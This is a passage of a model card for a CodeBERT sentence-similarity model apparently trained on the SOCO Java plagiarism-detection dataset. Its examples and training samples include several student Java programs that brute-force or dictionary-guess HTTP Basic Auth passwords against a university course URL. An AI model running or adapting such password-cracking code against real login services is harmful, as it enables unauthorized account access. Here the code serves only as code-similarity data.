\"+(finishTime-startTime)\823 \ + \" milliseconds\");\n System.exit(1);\n } \n for(int\824 \ twoChar=0;twoChar<alps.length();twoChar++)\n {\n pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);\n\825 \ if(this.fetchURL(urlString,login,pwd))\n {\n \826 \ finishTime=System.currentTimeMillis();\n System.out.println(\"\827 Finally I gotta it, password is : \"+pwd);\n System.out.println(\"\828 The time for cracking password is: \"+(finishTime-startTime) + \" milliseconds\"\829 );\n System.exit(1);\n }\n for(int threeChar=0;threeChar<alps.length();threeChar++)\n\830 \ {\n pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);\n\831 \ if(this.fetchURL(urlString,login,pwd))\n {\n \832 \ finishTime=System.currentTimeMillis();\n System.out.println(\"\833 Finally I gotta it, password is : \"+pwd);\n System.out.println(\"\834 The time for cracking password is: \"+(finishTime-startTime)+ \" milliseconds\"\835 );\n System.exit(1);\n }\n }\n }\n\836 \ }\n }\n\n public static void main(String[] arguments)\n {\n BruteForce\837 \ bf=new BruteForce();\n bf.getPassword();\n } \n}"838 - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\839 \ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\840 \ \n for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n boolean\841 \ quad = false;\n boolean trip = false;\n\n int bat = (0xFF & (int)\842 \ data[i]);\n bat <<= 8;\n if ((i+1) < data.length) {\n \843 \ bat |= (0xFF & (int) data[i+1]);\n trip = true;\n }\n \844 \ bat <<= 8;\n if ((i+2) < data.length) {\n bat |= (0xFF\845 \ & (int) data[i+2]);\n quad = true;\n }\n out[index+3]\846 \ = alphabet[(quad? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+2]\847 \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\848 \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\849 \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\850 \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\851 \ for( int ix=0; ix<data.length; ix++ )\n {\n if( (data[ix] > 255)\852 \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \853 \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\854 \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\855 \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \856 \ \n for (int ix=0; ix<data.length; ix++)\n {\n int value = (data[ix]>255)?\857 \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\858 \ accum <<= 6; \n shift += 6; \n\859 \ accum |= value; \n if ( shift >= 8 ) \n\860 \ {\n shift -= 8; \n out[index++]\861 \ = \n (byte) ((accum >> shift) & 0xff);\n \862 \ }\n }\n \n \n \n \n \n \n \863 \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\864 Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\865 \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\866 \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\867 \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\868 static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\869 \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\870 \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\871 \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\872 \ = 63;\n}\n}"873- source_sentence: "\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n\874 {\n private String myUsername = \"\";\n private String myPassword = \"\";\n\875 \ private String urlToCrack = \"http://sec-crack.cs.rmit.edu./SEC/2\";\n\n\n\876 \ public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n\877 \ }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\878 \n public void generatePassword()\n {\n try\n {\n BufferedReader\879 \ = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n \880 \ \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n\881 \ } while (myPassword != null);\n }\n catch(IOException e)\n\882 \ { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n\883 \ {\n String data, dataToEncode, encodedData;\n\n try\n {\n \884 \ URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername\885 \ + \":\" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\886 \n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty\887 \ (\"Authorization\", \" \" + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n\888 \ InputStreamReader isr = new InputStreamReader(is);\n BufferedReader\889 \ bf = new BufferedReader (isr);\n\n \n {\n data\890 \ = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n\891 \ } while (data != null);\n }\n catch (IOException e)\n \892 \ { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n\893 \ System.out.println(\"\\nThe cracked password is : \" + foundPassword);\n\894 \ System.exit(0);\n }\n}\n\n\n"895 sentences:896 - "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\897 \ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\898 \ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\899 \ {\n strFilepath = filepath;\n try {\n fWordFile = new\900 \ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\901 \ }\n catch(Exception e)\n {\n System.out.println(\"\902 Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\903 \ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\904 \ try {\n strCurrWord = in.readLine();\n \n \905 \ \n \n }\n catch (Exception e)\n {\n \906 \ \n return null;\n }\n \n return\907 \ strCurrWord;\n }\n \n}\n"908 - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\909 \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\910 \ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\911 .toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\912 \ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\913 \ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\914 \ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\915 \ i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n\916 \ return null;\n if(indices[i] == passwordDataSet.length ){\n \917 \ indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\918 \n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n\919 \ }\n \n public void setIndices(int size){\n this.indices = new int[size];\n\920 \ for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public\921 \ void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n\922 \ }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n\923 \ URL url = null;\n URLConnection urlConnection = null;\n String outcome\924 \ = null;\n String authorization = null;\n String password = null;\n \925 \ BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n\926 \ BufferedReader in = null;\n String line;\n int i = 0;\n while(!\"\927 HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n\928 \ urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n\929 \ urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty(\"\930 GET\", url.getPath() + \" HTTP/1.1\");\n urlConnection.setRequestProperty(\"\931 Host\", url.getHost());\n password = getNextPassword();\n if(password\932 \ == null)\n return null;\n System.out.print(password);\n authorization\933 \ = user + \":\" + password;\n\n\n urlConnection.setRequestProperty(\"Authorization\"\934 , \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\935 \ \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\936 \n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n \937 \ System.out.print(\"\\b \\b\");\n else\n System.out.print(\"\\\938 b\\b\\b.\");\n\n }\n return password;\n }\n \n public int getAttempts(){\n\939 \ return this.attempts;\n }\n public static void main (String[] args) {\n\940 \ if(args.length != 2){\n System.out.println(\"usage: java attacks.BruteForce\941 \ <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\942 );\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\943 \ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\944 \ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\945 \ String password = bruteForce1.crackPassword(args[1]);\n if(password\946 \ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \947 \ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \948 \ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\949 \ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\950 \ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\951 \ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\952 \ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\953 \ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\954 \ }\n }\n}"955 - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class\956 \ Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n\957 \ Calendar cal = Calendar.getInstance();\n Date now=cal.getTime();\n\958 \ double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\959 \t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static\960 \ String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint\961 \ requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"\962 /usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\963 \n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\964 \t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\965 \t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\966 \t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException\967 \ ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean\968 \ testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\969 \t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\970 );\n\n\t\t\tHttpURLConnection connection;\n\n \t\tString userPassword = \"\971 :\" + password;\n\n \t\t\n \t\tString encoding = new url.misc.BASE64Encoder().encode\972 \ (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection\973 \ = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"\974 Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\975 \n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\976 \t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \"\977 \ milliseconds find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \"\978 \ + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\979 \treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\t\980 System.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException\981 \ MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\982 \treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\983 \t{\n\t\t\n\t\t\n Calendar cal = Calendar.getInstance();\n Date\984 \ now=cal.getTime();\n double endTime = now.getTime();\n\n return\985 \ endTime-startTime;\n\n\t}\n\n}\n"986pipeline_tag: sentence-similarity987library_name: sentence-transformers988---989 990# SentenceTransformer based on microsoft/codebert-base991 992This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.993 994## Model Details995 996### Model Description997- **Model Type:** Sentence Transformer998- **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 -->999- **Maximum Sequence Length:** 512 tokens1000- **Output Dimensionality:** 768 dimensions1001- **Similarity Function:** Cosine Similarity1002<!-- - **Training Dataset:** Unknown -->1003<!-- - **Language:** Unknown -->1004<!-- - **License:** Unknown -->1005 1006### Model Sources1007 1008- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)1009- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)1010- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)1011 1012### Full Model Architecture1013 1014```1015SentenceTransformer(1016 (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 1017 (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})1018)1019```1020 1021## Usage1022 1023### Direct Usage (Sentence Transformers)1024 1025First install the Sentence Transformers library:1026 1027```bash1028pip install -U sentence-transformers1029```1030 1031Then you can load this model and run inference.1032```python1033from sentence_transformers import SentenceTransformer1034 1035# Download from the ๐ค Hub1036model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")1037# Run inference1038sentences = [1039 '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n private String myUsername = "";\n private String myPassword = "";\n private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\n public void generatePassword()\n {\n try\n {\n BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n } while (myPassword != null);\n }\n catch(IOException e)\n { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n {\n String data, dataToEncode, encodedData;\n\n try\n {\n URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername + ":" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty ("Authorization", " " + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n InputStreamReader isr = new InputStreamReader(is);\n BufferedReader bf = new BufferedReader (isr);\n\n \n {\n data = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n } while (data != null);\n }\n catch (IOException e)\n { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n System.out.println("\\nThe cracked password is : " + foundPassword);\n System.exit(0);\n }\n}\n\n\n',1040 '\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String strFilepath;\n private String strCurrWord;\n private File fWordFile;\n private BufferedReader in;\n \n \n public PasswordFile(String filepath) {\n strFilepath = filepath;\n try {\n fWordFile = new File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n }\n catch(Exception e)\n {\n System.out.println("Could not open file " + strFilepath);\n }\n }\n \n String getPassword() {\n return strCurrWord;\n }\n \n String getNextPassword() {\n try {\n strCurrWord = in.readLine();\n \n \n \n }\n catch (Exception e)\n {\n \n return null;\n }\n \n return strCurrWord;\n }\n \n}\n',1041 '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n \n static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n public String getNextPassword(){\n String nextPassword = "";\n for(int i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n return null;\n if(indices[i] == passwordDataSet.length ){\n indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n }\n \n public void setIndices(int size){\n this.indices = new int[size];\n for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n URL url = null;\n URLConnection urlConnection = null;\n String outcome = null;\n String authorization = null;\n String password = null;\n BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n BufferedReader in = null;\n String line;\n int i = 0;\n while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n urlConnection.setRequestProperty("Host", url.getHost());\n password = getNextPassword();\n if(password == null)\n return null;\n System.out.print(password);\n authorization = user + ":" + password;\n\n\n urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n System.out.print("\\b \\b");\n else\n System.out.print("\\b\\b\\b.");\n\n }\n return password;\n }\n \n public int getAttempts(){\n return this.attempts;\n }\n public static void main (String[] args) {\n if(args.length != 2){\n System.out.println("usage: java attacks.BruteForce <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n System.out.println("Cracking started at: " + cal1.getTime().toString());\n String password = bruteForce1.crackPassword(args[1]);\n if(password != null)\n System.out.println("\\nPassword is: "+password);\n else\n System.out.println("\\nPassword could not retrieved!");\n cal2 = Calendar.getInstance();\n System.out.println("Cracking finished at: " + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");\n System.out.println("Total attempts : " + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n }\n }\n}',1042]1043embeddings = model.encode(sentences)1044print(embeddings.shape)1045# [3, 768]1046 1047# Get the similarity scores for the embeddings1048similarities = model.similarity(embeddings, embeddings)1049print(similarities.shape)1050# [3, 3]1051```1052 1053<!--1054### Direct Usage (Transformers)1055 1056<details><summary>Click to see the direct usage in Transformers</summary>1057 1058</details>1059-->1060 1061<!--1062### Downstream Usage (Sentence Transformers)1063 1064You can finetune this model on your own dataset.1065 1066<details><summary>Click to expand</summary>1067 1068</details>1069-->1070 1071<!--1072### Out-of-Scope Use1073 1074*List how the model may foreseeably be misused and address what users ought not to do with the model.*1075-->1076 1077<!--1078## Bias, Risks and Limitations1079 1080*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*1081-->1082 1083<!--1084### Recommendations1085 1086*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*1087-->1088 1089## Training Details1090 1091### Training Dataset1092 1093#### Unnamed Dataset1094 1095* Size: 33,411 training samples1096* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>1097* Approximate statistics based on the first 1000 samples:1098 | | sentence_0 | sentence_1 | label |1099 |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|1100 | type | string | string | int |1101 | details | <ul><li>min: 61 tokens</li><li>mean: 471.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 61 tokens</li><li>mean: 491.01 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.50%</li><li>1: ~0.50%</li></ul> |1102* Samples:1103 | sentence_0 | sentence_1 | label |1104 |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|1105 | <code><br>public class ImageFile<br>{<br> private String imageUrl;<br> private int imageSize;<br><br> public ImageFile(String url, int size)<br> {<br> imageUrl=url;<br> imageSize=size;<br> }<br><br> public String getImageUrl()<br> {<br> return imageUrl;<br> }<br><br> public int getImageSize()<br> {<br> return imageSize;<br> }<br>}<br></code> | <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.Date;<br><br>public class MyMail implements Serializable<br>{<br> <br><br> <br> public static final int SMTPPort = 25;<br><br> <br> public static final char successPrefix = '2';<br><br> <br> public static final char morePrefix = '3';<br><br> <br> public static final char failurePrefix = '4';<br><br> <br><br> <br> private static final String CRLF = "\r\n";<br><br> <br> private String mailFrom = "";<br><br> <br> private String mailTo = "";<br><br> <br> private String messageSubject = "";<br><br> <br> private String messageBody = "";<br><br> <br> private String mailServer = "";<br><br> <br> public MyMail ()<br> {<br> <br> super();<br> }<br><br> <br> public MyMail ( String serverName)<br> {<br> <br> super();<br><br> <br> mailServer = serverName;<br> }<br><br> <br> public String getFrom()<br> {<br> return mailFrom;<br> }<br><br> <br> public String getTo()<br> {<br> return mailTo;<br> }<br><br> <br> public String getSubject()<br> {<br> return messageSubject;<br> }<br><br> <br> public String getMessage()<br> {<br> return messageBody;<br> }<br><br> <br> public String getMailServer()<br> {<br> return mailServer;<br> }<br><br> <br> public void setFrom( String from )<br> {<br> <br> mailFr...</code> | <code>0</code> |1106 | <code><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>public class WatchDog<br>{<br> private Vector init;<br> public WatchDog()<br> {<br> try<br> {<br> Runtime run = Runtime.getRuntime();<br> String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";<br> Process result = run.exec(command_line);<br> BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));<br> String inputLine;<br> init = new Vector();<br> while ((inputLine = in.readLine()) != null)<br> {<br> init.addElement(inputLine);<br> }<br> <br> }catch(Exception e)<br> {<br> }<br> }<br> public static void main(String args[])<br> {<br> WatchDog wd = new WatchDog();<br> wd.nextRead();<br> }<br><br> public void nextRead()<br> {<br> while(true)<br> {<br> ScheduleTask sch = new ScheduleTask(init);<br> if(sch.getFlag()!=0)<br> {<br> System.out.println("change happen");<br> WatchDog wd = new WatchDog();<br> wd.nextRead();<br> }<br> <br> }<br> }<br>}</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> | <code>0</code> |1107 | <code><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>public class ScheduleTask extends Thread<br>{<br><br> private int flag=0,count1=0,count2=0;<br> private Vector change;<br> public ScheduleTask(Vector init)<br> {<br> try<br> {<br><br> Runtime run = Runtime.getRuntime();<br> String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";<br> Process result = run.exec(command_line);<br> BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));<br> String inputLine;<br> Vector newVector = new Vector();<br> change = new Vector();<br> while ((inputLine = in.readLine()) != null)<br> {<br> newVector.addElement(inputLine);<br> }<br> if(init.size()>newVector.size())<br> {<br> for(int k=0;k<newVector.size();k++)<br> {<br> if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))<br> ch...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>0</code> |1108* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)1109 1110### Training Hyperparameters1111#### Non-Default Hyperparameters1112 1113- `per_device_train_batch_size`: 161114- `per_device_eval_batch_size`: 161115- `num_train_epochs`: 11116- `multi_dataset_batch_sampler`: round_robin1117 1118#### All Hyperparameters1119<details><summary>Click to expand</summary>1120 1121- `overwrite_output_dir`: False1122- `do_predict`: False1123- `eval_strategy`: no1124- `prediction_loss_only`: True1125- `per_device_train_batch_size`: 161126- `per_device_eval_batch_size`: 161127- `per_gpu_train_batch_size`: None1128- `per_gpu_eval_batch_size`: None1129- `gradient_accumulation_steps`: 11130- `eval_accumulation_steps`: None1131- `torch_empty_cache_steps`: None1132- `learning_rate`: 5e-051133- `weight_decay`: 0.01134- `adam_beta1`: 0.91135- `adam_beta2`: 0.9991136- `adam_epsilon`: 1e-081137- `max_grad_norm`: 11138- `num_train_epochs`: 11139- `max_steps`: -11140- `lr_scheduler_type`: linear1141- `lr_scheduler_kwargs`: {}1142- `warmup_ratio`: 0.01143- `warmup_steps`: 01144- `log_level`: passive1145- `log_level_replica`: warning1146- `log_on_each_node`: True1147- `logging_nan_inf_filter`: True1148- `save_safetensors`: True1149- `save_on_each_node`: False1150- `save_only_model`: False1151- `restore_callback_states_from_checkpoint`: False1152- `no_cuda`: False1153- `use_cpu`: False1154- `use_mps_device`: False1155- `seed`: 421156- `data_seed`: None1157- `jit_mode_eval`: False1158- `use_ipex`: False1159- `bf16`: False1160- `fp16`: False1161- `fp16_opt_level`: O11162- `half_precision_backend`: auto1163- `bf16_full_eval`: False1164- `fp16_full_eval`: False1165- `tf32`: None1166- `local_rank`: 01167- `ddp_backend`: None1168- `tpu_num_cores`: None1169- `tpu_metrics_debug`: False1170- `debug`: []1171- `dataloader_drop_last`: False1172- `dataloader_num_workers`: 01173- `dataloader_prefetch_factor`: None1174- `past_index`: -11175- `disable_tqdm`: False1176- `remove_unused_columns`: True1177- `label_names`: None1178- `load_best_model_at_end`: False1179- `ignore_data_skip`: False1180- `fsdp`: []1181- `fsdp_min_num_params`: 01182- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}1183- `fsdp_transformer_layer_cls_to_wrap`: None1184- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}1185- 